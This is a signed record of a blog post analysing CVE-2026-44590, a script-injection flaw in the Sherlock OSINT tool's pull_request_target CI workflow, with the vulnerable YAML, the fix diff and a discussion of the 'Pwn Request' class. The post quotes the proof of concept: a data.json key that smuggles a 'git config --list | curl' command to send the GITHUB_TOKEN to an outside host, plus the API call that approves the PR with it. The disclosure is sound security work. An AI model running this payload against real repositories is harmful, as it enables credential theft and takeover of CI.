-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The workflow validated the targets by running them\n\n`.github/workflows/validate_modified_targets.yml` triggers on `pull_request_target`, scoped to one path:\n\n```yaml\non:\n pull_request_target:\n branches:\n - master\n paths:\n - \"sherlock_project/resources/data.json\"\n```\n\nThe workflow's documented purpose is to verify that new entries submitted in `data.json` return the status codes the contributor declared for the test username. The verification is pytest, invoked with the changed keys as arguments. \"Validation\" here is execution.\n\nThe first relevant step extracts the changed keys:\n\n```yaml\n- name: Discover modified targets\n id: discover-modified\n run: |\n CHANGED=$(\n python - <<'EOF'\n import json\n with open(\"data.json.base\") as f: base = json.load(f)\n with open(\"data.json.head\") as f: head = json.load(f)\n changed = []\n for k, v in head.items():\n if k not in base or base[k] != v:\n changed.append(k)\n print(\",\".join(sorted(changed)))\n EOF\n )\n echo \"changed_targets=$CHANGED\" >> \"$GITHUB_OUTPUT\"\n```\n\n`changed_targets` is the comma-joined list of keys the PR added or modified in `data.json`. The keys are arbitrary strings. Nothing in the workflow validates their characters. Nothing in the PR review process validates their characters. They are dictionary keys.\n\nThe next step passes that list to pytest:\n\n```yaml\n- name: Validate modified targets\n if: steps.discover-modified.outputs.changed_targets != ''\n continue-on-error: true\n run: |\n poetry run pytest -q --tb no -rA -m validate_targets -n 20 \\\n --chunked-sites \"${{ steps.discover-modified.outputs.changed_targets }}\" \\\n --junitxml=validation_results.xml\n```\n\n`${{ steps.discover-modified.outputs.changed_targets }}` is GitHub Actions template syntax. The runner evaluates the expression and substitutes the result into the `run:` block before the shell sees the YAML. The shell never sees `${{ ... }}`. The shell sees whatever string the template evaluated to, pasted into the text of its command line.\n\n## The injection lived in --chunked-sites\n\nThe PoC's payload is a single key added to `data.json`. The key:\n\n```\nTestSite\"; git config --list | curl -s -X POST -d @- https:///gitconfig; sleep 180; echo \"\n```\n\nThe contributor's value for that key is a minimal valid site entry (`errorType`, `url`, `urlMain`, `username_claimed`). The key alone is the exploit.\n\nAfter `discover-modified` runs, `changed_targets` is the string above. After GitHub Actions templates `${{ steps.discover-modified.outputs.changed_targets }}` into the `run:` block, the shell receives:\n\n```bash\npoetry run pytest -q --tb no -rA -m validate_targets -n 20 \\\n --chunked-sites \"TestSite\"; git config --list | curl -s -X POST -d @- https:///gitconfig; sleep 180; echo \"\" \\\n --junitxml=validation_results.xml\n```\n\nThe `\"TestSite\"` closes the `--chunked-sites` value. The `;` separates statements. `git config --list | curl` becomes its own command. `sleep 180` holds the workflow open. The trailing `echo \"\"` reopens the quote so the surrounding text stays a valid shell command.\n\n`actions/checkout@v5`'s default is `persist-credentials: true`, which writes the runner's `GITHUB_TOKEN` into `.git/config` under `http.https://github.com/.extraheader=AUTHORIZATION: basic `. `git config --list` dumps that line as part of its output. The runner ships the token to the attacker's OAST endpoint, and the workflow then sleeps for three minutes to keep itself alive long enough for the next step.\n\nThe PoC reads the OAST log, extracts the base64 blob with a regex, decodes it back to a `ghs_...` token, and immediately calls:\n\n```\nPOST /repos//sherlock/pulls//reviews\nAuthorization: token ghs_...\nAccept: application/vnd.github+json\n\n{\"event\":\"APPROVE\",\"body\":\"All checks passed. LGTM!\"}\n```\n\nThe review is recorded against `github-actions[bot]`. The same identity the workflow runs as. The same identity whose token just authorized the call.\n\n## The fix is three lines. Two of them are admissions.\n\nSiddharth Dushantha's commit `6eaec5cc`, May 2, 2026:\n\n```diff\n - name: Checkout repository\n uses: actions/checkout@v5\n with:\n # Checkout the base branch but fetch all history to avoid a second fetch call\n ref: ${{ github.base_ref }}\n fetch-depth: 0\n+ persist-credentials: false\n\n - name: Validate modified targets\n- if: steps.discover-modified.outputs.changed_targets != ''\n- continue-on-error: true\n+ env:\n+ CHANGED_TARGETS: ${{ steps.discover-modified.outputs.changed_targets }}\n run: |\n poetry run pytest -q --tb no -rA -m validate_targets -n 20 \\\n- --chunked-sites \"${{ steps.discover-modified.outputs.changed_targets }}\" \\\n+ --chunked-sites \"$CHANGED_TARGETS\" \\\n --junitxml=validation_results.xml\n```\n\nThe `env:` block is the actual fix. `CHANGED_TARGETS` is bound to the template expression once, at step launch. The shell then reads `\"$CHANGED_TARGETS\"` under bash's quoting rules, which treat the value as one parameter regardless of what bytes it contains. The injection grammar (a `\"`, a `;`, a follow-on command) never reaches the shell as syntax. It reaches the shell as the contents of a string argument.\n\n`persist-credentials: false` is the second admission. The default `actions/checkout` behavior writes the `GITHUB_TOKEN` into `.git/config`, and the PoC's exfiltration depends on `git config --list` finding it there. The fix removes the token from the file even if the shell injection survives. The exfil path closes at the source as well as at the shell.\n\nThe `if:` and `continue-on-error: true` deletions are surrounding hygiene. They were not the bug; they were the residue of a workflow nobody had read in this register.\n\nThe two real changes correspond, line for line, to GitHub Actions' own security-hardening guide. That page names the threat as \"script injection\" and prescribes two mitigations: pass GitHub context values through environment variables, and set `persist-credentials: false` on checkouts that do not need the credential downstream. The page predates `validate_modified_targets.yml`'s first commit. The workflow had been operating against both prescriptions for as long as it had existed.\n\n## github-actions[bot] approved a pull request that had been github-actions[bot] for roughly a minute\n\nThe PoC's logged sequence on a vulnerable fork:\n\n```\n10:55:00 [+] Injected payload key into sherlock_project/resources/data.json\n10:55:04 [+] PR opened\n10:55:10 [+] Workflow run found\n10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke\n10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED\n```\n\nFifty-six seconds, payload to approval. Forty-five of those seconds are pytest setup and the runner reaching the injected `git config --list | curl` line. One second is the API call. The bot's authority over the repository was the attacker's authority over the repository for that entire window. Inside the window, the bot's authority used itself to approve the PR.\n\nThe PoC documents needing to enable \"Allow GitHub Actions to create and approve pull request reviews\" on the test fork to reproduce this last step. `sherlock-project/sherlock` had the setting enabled at the time of disclosure. The setting is documented; it exists so CI bots can approve PRs from other CI bots in a controlled flow. It was enabled on sherlock because, at some point, an automation needed it. The setting did exactly what its documentation said it would do.\n\nBranch-protection-rule reasoning is configuration-specific past this point. Whether the bot's approval counted toward the required-review count on `master`, whether the PR was auto-mergeable, whether the runner could push directly via the same exfiltrated token without going through review at all, depends on a list of GitHub repository settings the PoC does not enumerate. The PoC stops at \"approved.\" The token captured at `10:55:55` is, until the workflow ends, indistinguishable in the GitHub API from the credential `release.yml` would use to push a tag, dispatch a workflow, comment on every open issue, or commit directly to any branch the bot's scopes reach.\n\n## This is the canonical Pwn Request, and it keeps shipping\n\n`pull_request_target` was introduced in August 2020. Its documentation, on the same page that defines it, contains a warning that the trigger is granted a read/write repository token with access to secrets even when fired from a fork, and that \"you should make sure that you do not check out, build, or run untrusted code from the pull request with this event.\"\n\nThis is [trust-inversion](/patterns/trust-inversion) at the layer of CI triggers. The trust artifact is the `GITHUB_TOKEN` issued to `github-actions[bot]` for `pull_request_target` events, scoped against the base repository. The runner mints it correctly, to the correct workflow, on the correctly authenticated event. The inversion is that the workflow's `run:` block uses content from the PR to construct the shell command the runner executes, so the bot's authority becomes the contributor's authority for the duration of the step. The validation on the distrusted lane (the PR review) was never the gate, because the trusted lane (the bot's own runner) was already executing the PR's content.\n\nThe catalog has catalogued this shape before. [TanStack](/posts/tanstack-cve-2026-45321-bundle-size-poisoned-release-restored) was `pull_request_target` writing into a GitHub Actions cache that `release.yml` later restored, with the trusted-publisher OIDC token as the eventual blast surface. [Postiz](/posts/postiz-cve-2026-42298-add-environment-shipped-rce) was `pull_request_target` building a Dockerfile the fork submitter authored, with the runner's `.git/config` token in the build context. [tj-actions](/posts/tj-actions-mutable-tags-were-always-a-lie) was a different layer, mutable tags, with the same blast pattern through the GitHub Actions runner identity. The class has a name (Pwn Request), a CodeQL rule, a dedicated section in GitHub's own hardening guide, and at least five years of public examples.\n\nThis is also [content-is-command](/patterns/content-is-command) at the smallest CI primitive. The content channel is a dictionary key in `data.json` that a PR contributor adds. The interpreter is `/bin/sh -c`, which the runner uses for every `run:` block. The bridge is the YAML-level expansion of `${{ ... }}` into the `run:` block's text, which happens before the shell sees the command line. The shell receives the expansion as if the author of the workflow had typed it directly. The author of the workflow, at expansion time, is whoever opened the pull request.\n\n`validate_modified_targets.yml` had fifteen commits before the fix. The messages: `ci: fix the thing`. `fix(ci): scoping`. `fix(ci): issue write permission`. `fix(validation ci): parsing and presentation`. `Implement secure diff logic per feedback`. `Use merge-base for correct target validation`. The workflow went through review. The reviewers were thinking about merge-base correctness, JSON schema validation, write permissions, and changelist parsing. None of those reviews caught that `${{ steps.discover-modified.outputs.changed_targets }}` inside a `run:` block was the textbook script-injection sink the hardening guide opens with.\n\nPoC: [Astaruf/CVE-2026-44590](https://github.com/Astaruf/CVE-2026-44590)","closing_line":"`validate_modified_targets` did its job. The job was the bug.","hook_md":"Sherlock is the OSINT username-search CLI in `sherlock-project/sherlock`. It ships in Kali Linux's `kali-tools-osint` metapackage and is the username-enumeration tool most investigators reach for first. The CVE is in its CI. `validate_modified_targets.yml` runs pytest against new entries in `sherlock_project/resources/data.json` to validate them. The entries are dictionary keys. The contributor of the pull request names them. The contributor of the pull request is anyone with a GitHub account. By the time the workflow finished, `github-actions[bot]` had approved a pull request that had been `github-actions[bot]` for roughly a minute.","post_id":503,"slug":"sherlock-cve-2026-44590-validated-targets-by-running-them","title":"CVE-2026-44590: Sherlock's validate_modified_targets Validated The Targets By Running Them","type":"initial","unreadable_sentence":"github-actions[bot] approved a pull request that had been github-actions[bot] for roughly a minute."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCawSBHAAKCRDeZjl4jgkQ JqrKAQCPeqSJdAXwMF7KmtF+E/vf+OVLpWuhVh1rKiWkW8SPtAD+LIe8jP7QkTdG Sqs6tFvTK6P69o7sOwwbbD0OXhhElwI= =pOkQ -----END PGP SIGNATURE-----